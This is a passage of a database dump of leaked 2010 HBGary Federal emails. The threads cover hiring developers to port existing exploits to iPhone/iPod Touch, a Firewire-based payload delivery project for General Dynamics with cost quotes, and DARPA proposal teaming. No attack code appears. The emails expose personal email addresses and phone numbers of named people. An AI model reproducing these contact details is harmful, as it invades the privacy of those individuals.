iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren&#39;t high enough on my list of non-work projects. And my other ideas don&#39;t involve 30% profit sharing with Apple.\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',10060,'aaron_hbgary_com/10060.html'),(2937,'2010-02-23','\"Abe Usher\" <abe.usher@gmail.com>','/aaron@hbgary.com/new/1297001397.M525657P3547Q2937.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: iphone/itouch','Aaron,No experience* there, sorry :(Abe* Although I finally broke down and purchased an iPhone :)On Mon, Feb 22, 2010 at 4:11 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Abe,\r\n\r\nAny experience developing for iphone/itouch?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',2561,'aaron_hbgary_com/2561.html'),(2938,'2010-02-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001397.M704488P3547Q2938.eml','\"Scott Pease\" <scott@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,,','Project B','Scott,\r\n\r\nAfter speaking with Clearhat today it sounds like they do not have the\r\navailability or expertise to help us on the iPhone/iPod Touch\r\nfollow-on to Project B.\r\n\r\nAaron and I reached out to three software developers / reverse\r\nengineers that have mobile development experience:  Abe Usher,\r\nJonathan George, and Mark Trynor.\r\n\r\nPenny approved my plan to have each of them sign NDAs so we can\r\nprovide them with source-code and documentation for them to review.\r\nI\'d like to be able to send this out to them no later than this\r\nFriday, to give them the weekend to review the material.\r\n\r\nI would also like to schedule some time on Monday or Tuesday with\r\nMartin so we can conduct telephonic interviews with each of the\r\ncandidates that are interested in taking on the project.\r\n\r\nCan you support this?\r\n\r\nThanks,\r\nTed\r\n',419,'aaron_hbgary_com/419.html'),(2939,'2010-02-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001398.M875965P3547Q2939.eml','\"Mark Trynor\" <mark.trynor@gmail.com>,\"Mark Trynor\" <mark.trynor@gmail.com>','Project B NDA','Mark,\r\n\r\nPlease review, sign and return attached NDA. I\'ll get you the\r\nsource-code and documentation no later than Friday.  Plan to have a\r\nconference call next Monday or Tuesday to discuss with Martin.\r\n\r\nThanks,\r\nTed\r\n',3994,'aaron_hbgary_com/3994.html'),(2940,'2010-02-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001399.M446135P3547Q2940.eml','\"Barr Aaron\" <aaron@hbgary.com>','NDA','Please forward the NDA to Abe and Jon if they are interested...\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',15700,'aaron_hbgary_com/15700.html'),(2941,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001399.M666857P3547Q2941.eml','\"Abe Usher\" <abe.usher@gmail.com>','Re: iphone/itouch','Ha.  Well atleast you have joined the ranks of the enlightened right?  Thanks for response, we need a port of some exploits to iPhone and thought of you.  Will continue to keep u in mind.  Thanks, Aaron\r\nFrom my iPhoneOn Feb 22, 2010, at 7:07 PM, Abe Usher &lt;abe.usher@gmail.com&gt; wrote:Aaron,\r\nNo experience* there, sorry :(Abe* Although I finally broke down and purchased an iPhone :)On Mon, Feb 22, 2010 at 4:11 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Abe,\r\n\r\nAny experience developing for iphone/itouch?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',3669,'aaron_hbgary_com/3669.html'),(2942,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001399.M861661P3547Q2942.eml','jonathan.k.george@gmail.com','Re: iphone/ipod touch','Thanks for response.  If your interested we need some exploits portedto that platform.  It is about 4-5 months of work.  This is existing work we have done for a few years.  If your interested in this to get you started with us we can send am nda your way and let you look at the code that needs porting.\r\nAaronFrom my iPhoneOn Feb 22, 2010, at 6:57 PM, Jonathan George &lt;jonathan.k.george@gmail.com&gt; wrote:\r\nI wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren&#39;t high enough on my list of non-work projects. And my other ideas don&#39;t involve 30% profit sharing with Apple.\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',11741,'aaron_hbgary_com/11741.html'),(2943,'2010-02-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001400.M283106P3547Q2944.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pikewerks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPikewerks is interested to team with us.&nbsp; Like us, they\r\nwere approached by big primes, but they came to the conclusion that the big\r\nprimes didn&#8217;t offer anything.&nbsp; They were approached by NG who said\r\nthey were also talking to HBGary.&nbsp; Pikewerks said they didn&#8217;t see\r\nany reason to team with NG.\r\n\r\n&nbsp;\r\n\r\nThey were looking at going it alone, but seemed to like the\r\nidea of teaming with us.&nbsp; They said they asked Van Putte his preferences\r\nof them being sub to a large prime &#8211; Van&nbsp; Putte told them he wanted the\r\ninnovation he could get from small businesses.\r\n\r\n&nbsp;\r\n\r\nPikewerks hasn&#8217;t wrapped their brains around just what\r\nthey would do yet. They were going to circle up soon to come up with some\r\ncreative ideas or unique approach then go at DARPA asking for only a few\r\nmillion.&nbsp; They figured they could win a small deal going it alone.\r\n\r\n&nbsp;\r\n\r\nFor Pikewerks to have a chance to win going it alone, they\r\nwould have to present one or more compelling ideas (above and beyond\r\nLinux).&nbsp; So maybe this means they could add some interesting ideas to our\r\nstorytelling.\r\n\r\n&nbsp;\r\n\r\nPikewerks has software that approximates Responder Field\r\nEdition for Linux.&nbsp; They are imaging and reconstructing memory, detecting\r\nhooking, and parsing through objects in memory.&nbsp; They have no software for\r\nbinary analysis and have nothing like DDNA.&nbsp; To my surprise, Pikewerks\r\nsees themselves as primarily a software company, not a gov&#8217;t contractor.&nbsp;\r\nThey were founded in 2003 (same as HBGary) and have around 40 employees.&nbsp;\r\nTheir main product is Electronic Armor, which is a software protection system.\r\n\r\n&nbsp;\r\n\r\nLonger term for HBGary we should eventually have DDNA for\r\nLinux.&nbsp; Pikewerks could shorten the path for that to happen.&nbsp; Here is\r\na possible scenario&#8230;&#8230;&#8230; We team with them and advance them\r\ntoward DDNA for Linux with the expectation (even proviso) that HBGary licenses\r\nand resells it.&nbsp; At present they haven&#8217;t gotten market traction with\r\nit, so teaming with us also gives them a go-to-market strategy.&nbsp; And it\r\ncould get us a Linux solution set.\r\n\r\n&nbsp;\r\n\r\nNext step is that Herbie (??) was going to email me his\r\ncontact info then I was going to introduce the two of you.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16697,'aaron_hbgary_com/16697.html'),(2944,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001400.M511280P3547Q2945.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Pikewerks','From my iPhoneBegin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: February 22, 2010 9:23:05 PM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Pikewerks\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nPikewerks is interested to team with us.  Like us, they\r\nwere approached by big primes, but they came to the conclusion that the big\r\nprimes didn’t offer anything.  They were approached by NG who said\r\nthey were also talking to HBGary.  Pikewerks said they didn’t see\r\nany reason to team with NG.\r\n\r\n \r\n\r\nThey were looking at going it alone, but seemed to like the\r\nidea of teaming with us.  They said they asked Van Putte his preferences\r\nof them being sub to a large prime – Van  Putte told them he wanted the\r\ninnovation he could get from small businesses.\r\n\r\n \r\n\r\nPikewerks hasn’t wrapped their brains around just what\r\nthey would do yet. They were going to circle up soon to come up with some\r\ncreative ideas or unique approach then go at DARPA asking for only a few\r\nmillion.  They figured they could win a small deal going it alone.\r\n\r\n \r\n\r\nFor Pikewerks to have a chance to win going it alone, they\r\nwould have to present one or more compelling ideas (above and beyond\r\nLinux).  So maybe this means they could add some interesting ideas to our\r\nstorytelling.\r\n\r\n \r\n\r\nPikewerks has software that approximates Responder Field\r\nEdition for Linux.  They are imaging and reconstructing memory, detecting\r\nhooking, and parsing through objects in memory.  They have no software for\r\nbinary analysis and have nothing like DDNA.  To my surprise, Pikewerks\r\nsees themselves as primarily a software company, not a gov’t contractor. \r\nThey were founded in 2003 (same as HBGary) and have around 40 employees. \r\nTheir main product is Electronic Armor, which is a software protection system.\r\n\r\n \r\n\r\nLonger term for HBGary we should eventually have DDNA for\r\nLinux.  Pikewerks could shorten the path for that to happen.  Here is\r\na possible scenario……… We team with them and advance them\r\ntoward DDNA for Linux with the expectation (even proviso) that HBGary licenses\r\nand resells it.  At present they haven’t gotten market traction with\r\nit, so teaming with us also gives them a go-to-market strategy.  And it\r\ncould get us a Linux solution set.\r\n\r\n \r\n\r\nNext step is that Herbie (??) was going to email me his\r\ncontact info then I was going to introduce the two of you.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14490,'aaron_hbgary_com/14490.html'),(2945,'2010-02-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001400.M736910P3547Q2946.eml','\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Thompson, Bill M.\" <Bill.Thompson@gd-ais.com>,,','Re: more Task B work','Hello John & Bill,\r\n\r\nToday we had a meeting to discuss the iPod Touch feasibility study.\r\nMartin does not have iPod / Xcode development experience, however we\r\nhave other engineers who do.  We will need to get them involved (still\r\nworking within the proposed value) on the study.\r\n\r\nWe expect the feasibility study to take approximately two weeks to\r\ncomplete, however the earliest we will be able to start is late next\r\nweek.  One aspect of the study will be a development plan and\r\nschedule.\r\n\r\nDo you have a period-of-performance or hard suspense date that the\r\ndevelopment needs to be completed by, so we can work the schedule\r\naccordingly?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 11:24 AM, Spiller, John F.\r\n wrote:\r\n> Concur. Go for it!\r\n> --John\r\n>\r\n> -----Original Message-----\r\n> From: Thompson, Bill M.\r\n> Sent: Monday, February 22, 2010 9:37 AM\r\n> To: Ted Vera\r\n> Cc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\n> Subject: RE: more Task B work\r\n>\r\n> Hi Ted,\r\n>\r\n> Understood.  Thanks for the update and response. This is good news on all fronts.\r\n>\r\n> Thinking out loud, I anticipate more funds will be spent on a modification to the delivery to accommodate larger payload sizes as soon as I discover/remember the payload size limitation.  We also ran into a stability issue on the last delivery that may or may not need tweaking this time around again.\r\n>\r\n> Regardless, it sounds like there will be enough to do the iTouch feasibility study.\r\n>\r\n> On JOHN SPILLER\'S approval, Please do this ASAP so that we\'ll know if we need to find more money to fully implement this if/when you guys diagnose the feasibility as \"highly feasible\".\r\n>\r\n> Thanks,\r\n> Bill\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, February 19, 2010 3:17 PM\r\n> To: Thompson, Bill M.\r\n> Cc: Martin Pillion; Penny C. Hoglund; Spiller, John F.; Scott Pease; Barr Aaron\r\n> Subject: Re: more Task B work\r\n>\r\n> Greetings Bill,\r\n>\r\n> Attached is the Project B Status report, as requested.  We forecast an ~$80K estimate-at-complete for our currently assigned tasks, which is significantly less than originally anticipated.  We will honor the previously provided quote for the iTouch feasibility effort and have sufficient funding on contract to complete that task, as well as a significant portion of the iTouch development, if it proves feasible.\r\n>\r\n> Below is my contact information, please let me know if you have any questions.\r\n>\r\n> Regards,\r\n> Ted Vera\r\n>\r\n> Office:  916-459-4727 ext 118\r\n> Cell:  719-237-8623\r\n> Email:  ted@hbgary.com\r\n>\r\n>\r\n>\r\n> On Thu, Feb 18, 2010 at 2:42 PM, Thompson, Bill M.\r\n>  wrote:\r\n>> Hi Ted,\r\n>>\r\n>> We met here in Santa Clara, CA in the NES lab with Ben Wilson when you\r\n>> and Aaron (spelling?) came to visit a couple months ago about HB Federal.\r\n>>\r\n>> Penny informed me a month or so ago that you are the lead for Task B\r\n>> now replacing Scott.  I just got off the phone with Martin about\r\n>> future work for Task B and I would like to know formally from you if\r\n>> you can provide an updated cost estimate to incorporate the latest\r\n>> Firewire implementation into an iTouch device or if the below quote is\r\n>> still valid. (The last quote is provided for your reference below)\r\n>>\r\n>> I would also like to know the status of how Task B is coming along and\r\n>> if there will be budget left over to characterized the feasibility of\r\n>> incorporating into the iTouch device in this current budget. (i.e. can\r\n>> you shoehorn in the first line item \"iTouch Feasibility Study\").  If\r\n>> not, I would suggest that you guys reprioritize to make this happen\r\n>> and then just tack on the additional amount needed to finish the\r\n>> current scope of Task B (Firewire O/S compatibility work) into the\r\n>> additional funds we anticipate sending your way next month.  Of\r\n>> course, John Spiller our PM needs to formally make that\r\n>> reprioritization call if you decide you don\'t have the funds\r\n>> available, but that is my recommendation.   If migrating to an iTouch\r\n>> is feasible, which it sounds like is a good possibility, then we anticipate moving forward with this migration in the next phase of Task B.\r\n>>\r\n>> Please let me know at your earliest convenience as this directly\r\n>> impacts our ability to obtain more funding from a diminishing source.\r\n>>\r\n>> Regards,\r\n>>\r\n>> Bill\r\n>>\r\n>> Sent 11/12/2009 from Scott\r\n>>\r\n>> Bill,\r\n>>\r\n>> We recommend the following operating systems for 32bit development:\r\n>>\r\n>> Windows 2000 Professional SP4   $14,133.12\r\n>>\r\n>> Windows Vista SP0       $14,133.12\r\n>>\r\n>> Windows Vista SP1, SP2  $23,555.20\r\n>>\r\n>> Total   $51,821.44\r\n>>\r\n>> We recommend the following operating systems for 64bit development:\r\n>>\r\n>> Initial 64 bit research $47,110.40\r\n>>\r\n>> Windows Vista SP0       $14,133.12\r\n>>\r\n>> Windows Vista SP1, SP2  $14,133.12\r\n>>\r\n>> Windows 7       $23,555.20\r\n>>\r\n>> Total   $98,931.84\r\n>>\r\n>> The PSP and iPod/iTouch delivery platforms each require an initial\r\n>> feasibility study.\r\n>>\r\n>> iPod/iTouch Feasibility study   $23,555.20\r\n>>\r\n>> iPod/iTouch development $94,220.80\r\n>>\r\n>> Total   $117,776.00\r\n>>\r\n>>\r\n>>\r\n>> PSP Feasibility study   $23,555.20\r\n>>\r\n>> PSP development $94,220.80\r\n>>\r\n>> Total   $117,776.00\r\n>>\r\n>> We do not recommend development for the true server OS versions as\r\n>> they are not likely to be found on a laptop:\r\n>>\r\n>> Windows 2000 Server\r\n>>\r\n>> Windows 2003 Server\r\n>>\r\n>> Windows 2008 Server\r\n>>\r\n>> Let me know if you have questions.\r\n>>\r\n>> Best regards,\r\n>>\r\n>> Scott\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4120,'aaron_hbgary_com/4120.html'),(2946,'2010-02-23','\"Scott Pease\" <scott@hbgary.com>','/aaron@hbgary.com/new/1297001400.M80883P3547Q2943.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Project B','Ted,\r\nYes. I\'ll work with Martin to get materials packaged up for their review. \r\n\r\nI\'ll work with you on the interview times as well.\r\n\r\nRegards,\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, February 22, 2010 5:43 PM\r\nTo: Scott Pease\r\nCc: Penny Leavy; Barr Aaron; Martin Pillion\r\nSubject: Project B\r\n\r\nScott,\r\n\r\nAfter speaking with Clearhat today it sounds like they do not have the\r\navailability or expertise to help us on the iPhone/iPod Touch follow-on to\r\nProject B.\r\n\r\nAaron and I reached out to three software developers / reverse engineers\r\nthat have mobile development experience:  Abe Usher, Jonathan George, and\r\nMark Trynor.\r\n\r\nPenny approved my plan to have each of them sign NDAs so we can provide them\r\nwith source-code and documentation for them to review.\r\nI\'d like to be able to send this out to them no later than this Friday, to\r\ngive them the weekend to review the material.\r\n\r\nI would also like to schedule some time on Monday or Tuesday with Martin so\r\nwe can conduct telephonic interviews with each of the candidates that are\r\ninterested in taking on the project.\r\n\r\nCan you support this?\r\n\r\nThanks,\r\nTed\r\n\r\n',16631,'aaron_hbgary_com/16631.html'),(2947,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001400.M935589P3547Q2947.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','got a sec','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3121,'aaron_hbgary_com/3121.html'),(2948,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001401.M277494P3547Q2948.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Proposal Effort','Chris,\r\n\r\nThanks for the call.  I would like to chat with you for a few minutes or meet in person before we get into a larger call if that is ok.  Please let me know your availability tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',316,'aaron_hbgary_com/316.html'),(2949,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001401.M534570P3547Q2949.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','DARPA BAA','Guys,\r\n\r\nJust wanted to let you know of our decision and take any comments.  Ted and I have been discussing this for a few hours and have come to a decision.  We are going to Prime Tech Area 3 with subs (Secure Decisions, HBGary, Pikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to Northrop Grumman Xetron.  I am going to talk with GD tomorrow and explain our decision as best I can and the reasons for not continuing to pursue this effort with them.  I believe this will come with significant dissapointment.\r\n\r\nGD has brought nothing to the table for this particular effort.  Northrop not only has the Information Geometry technology but we are working with them under their R&D to develop the threat intelligence effort which will fold well into Tech Area 1.  It would not make sense to team with NG Xetron given our TIC work and their technology.  I have asked to either meet or talk with Chris Starr one on one tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6438,'aaron_hbgary_com/6438.html'),(2950,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001403.M127974P3547Q2950.eml','\"Penny Leavy\" <penny@hbgary.com>','I don\'t have ur Cell.','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7140,'aaron_hbgary_com/7140.html'),(2951,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001403.M422183P3547Q2951.eml','\"Anita D\'Amico\" <anitad@securedecisions.com>','DARPA BAA','Anita,\r\n\r\nNice talking with you today.  I am serious about our pursuit to prime Tech Area 3 with the following team mates (HBGary, HBGary Federal, Pikeworks, Secure Decisions)  CMU might possibly join the team as well.  I would like to discuss this arrangement with you in context with your overall pursuits for this proposal.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1708,'aaron_hbgary_com/1708.html'),(2952,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001403.M695856P3547Q2952.eml','DARPA-BAA-10-36@darpa.mil','Questions from HBGary Federal','Mike/Larry,\r\n\r\nI have sought out some large integrators because I thought that might show a balance of stability and programmatics against the lean and mean development capabilities of a small company?  Do you prefer that blend or a combinations of smalls?\r\n\r\nThe idea I discussed with you briefly about our Threat Intelligence Center, bringing together capabilities within a unified framework, enumerating the various parallels of cyber domains, artifacts so you can detect evolutionary changes vs. new species, etc.  I think this idea is the first step/precursor to technical area 1.  We (Northrop Grumman Xetron)  this is not big Millersville Northrop but smaller Cincinnati Northrop (I know the difference because I used to be a technical director in NGIS), are putting some money into R&D to develop some initial capabilities here, but I think there is a long way to go to correlating/enumerating fingerprints in code to I&W indicators in open forum chat channels, etc.  An example would be if you can enumerate the artifacts to such a fidelity you should be able to show indications of attack based on certain occurrences or patterns in open source.  Likewise patterns and usage of code could indicate code cooperatives that might not be noticeable in open source solely.  Just wondering your thoughts on this.\r\n\r\nDo you have a problem with taking some of what we learn during this effort and wrapping it into our commercial products?\r\n\r\nI am leaning towards priming Technical Area3 with strong subs of Pikeworks, HBGary, Secure Decisions.  I see visualization as important but as a manual step to help mature our models to develop automated steps and as an end product for human consumption.  The goal seems to be automation which of course is antithetical to visualization, just wondered about your thoughts here.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3261,'aaron_hbgary_com/3261.html'),(2953,'2010-02-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001404.M907301P3547Q2953.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','PP Citation','Bob,\r\n\r\nMacB is expecting a 1 1/2 page PP citation (not to exceed 2 pages).\r\nAttached is a revised draft.  I mapped in as much of the Guardian SOW\r\nitems that I thought were relevant based on my limited understanding\r\nof HBGary\'s DHS work.\r\n\r\nPlease review, sanity check, revise as you see fit, and forward to the\r\nCOTR for his final revision and approval.\r\n\r\nThe proposal is due this Friday, so we\'d like to get this done as soon\r\nas possible.\r\n\r\nThanks,\r\nTed\r\n',7413,'aaron_hbgary_com/7413.html'),(2954,'2010-02-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001405.M164107P3547Q2954.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA BAA','I think this is the right thing to do.  FYI, you must have been tired when\r\nyou wrote this.. ;) your 2nd to last sentence says \"it would not make sense\r\nto partner with NG Xetron given our TIC work and their technology.  I think\r\nyou meant it wouldn\'t make sense to partner with GD on this... \r\n\r\nCan you do an early lunch? Say 11 or 1130?\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 11:58 PM\r\nTo: Penny Leavy; Greg Hoglund; Rich Cummings; Bob Slapnik\r\nSubject: DARPA BAA\r\n\r\nGuys,\r\n\r\nJust wanted to let you know of our decision and take any comments.  Ted and\r\nI have been discussing this for a few hours and have come to a decision.  We\r\nare going to Prime Tech Area 3 with subs (Secure Decisions, HBGary,\r\nPikeworks, and maybe CMU).  We are going to plan to sub on Tech area 1 to\r\nNorthrop Grumman Xetron.  I am going to talk with GD tomorrow and explain\r\nour decision as best I can and the reasons for not continuing to pursue this\r\neffort with them.  I believe this will come with significant dissapointment.\r\n\r\nGD has brought nothing to the table for this particular effort.  Northrop\r\nnot only has the Information Geometry technology but we are working with\r\nthem under their R&D to develop the threat intelligence effort which will\r\nfold well into Tech Area 1.  It would not make sense to team with NG Xetron\r\ngiven our TIC work and their technology.  I have asked to either meet or\r\ntalk with Chris Starr one on one tomorrow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4571,'aaron_hbgary_com/4571.html'),(2955,'2010-02-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001405.M402964P3547Q2955.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: contact info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMeet Scott Fitzpatrick a friend\r\nof mine who is looking for bigger and better things.&nbsp; He is currently at\r\nSymantec.&nbsp; Scott would really like to be a part of the SE team at HBGary but I\r\nhave no slots to fill at the moment.&nbsp; I mentioned the opportunities at HBGary\r\nFederal and he is interested but would eventually like to jump over to work in\r\nthe sales area (because he can make commission).&nbsp; I thought there might be a\r\nfit.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Scott FitzPatrick\r\n[mailto:scott_fitzpatrick@symantec.com] \r\nSent: Monday, February 22, 2010 8:22 PM\r\nTo: rich@hbgary.com\r\nSubject: contact info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRich,\r\n\r\n&nbsp;\r\n\r\nHere is my updated resume. &nbsp;Thanks for any heads up as\r\nI&#8217;m actively pursuing opportunities outside of Symantec now.&nbsp; Let me know\r\nif you have time to circle up for lunch or a beverage as I&#8217;m flexible.&nbsp;\r\nThanks again,\r\n\r\n&nbsp;\r\n\r\nSfitz\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott\r\nFitzPatrick, CISSP, SCTA\r\n\r\nChief\r\nTechnical Strategist\r\n\r\nSymantec\r\nCyber Threat Analysis Program\r\n\r\nCell\r\n202.669.9987\r\n\r\nFax\r\n917.591.1208\r\n\r\nscott_fitzpatrick@symantec.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6111,'aaron_hbgary_com/6111.html'),(2956,'2010-02-23','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001405.M618386P3547Q2956.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: iphone/ipod touch','I can take a look at it. I can&#39;t promise anything until I&#39;ve seen some of the code.On Mon, Feb 22, 2010 at 9:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks for response.  If your interested we need some exploits portedto that platform.  It is about 4-5 months of work.  This is existing work we have done for a few years.  If your interested in this to get you started with us we can send am nda your way and let you look at the code that needs porting.\r\n\r\nAaronFrom my iPhoneOn Feb 22, 2010, at 6:57 PM, Jonathan George &lt;jonathan.k.george@gmail.com&gt; wrote:\r\n\r\nI wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren&#39;t high enough on my list of non-work projects. And my other ideas don&#39;t involve 30% profit sharing with Apple.\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',79,'aaron_hbgary_com/79.html'),(2957,'2010-02-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001405.M880580P3547Q2957.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: iphone/ipod touch','From my iPhoneBegin forwarded message:From: Jonathan George &lt;jonathan.k.george@gmail.com&gt;\r\nDate: February 23, 2010 6:25:23 AM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: iphone/ipod touchReply-To: jonathan.k.george@gmail.com\r\nI can take a look at it. I can&#39;t promise anything until I&#39;ve seen some of the code.On Mon, Feb 22, 2010 at 9:15 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThanks for response.  If your interested we need some exploits portedto that platform.  It is about 4-5 months of work.  This is existing work we have done for a few years.  If your interested in this to get you started with us we can send am nda your way and let you look at the code that needs porting.\r\n\r\n\r\nAaronFrom my iPhoneOn Feb 22, 2010, at 6:57 PM, Jonathan George &lt;jonathan.k.george@gmail.com&gt; wrote:\r\n\r\n\r\nI wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren&#39;t high enough on my list of non-work projects. And my other ideas don&#39;t involve 30% profit sharing with Apple.\r\n\r\n\r\n\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12709,'aaron_hbgary_com/12709.html'),(2958,'2010-02-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001406.M120811P3547Q2958.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m going to try and get some from Netwitness cause we don&#8217;t have\r\nthem&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, 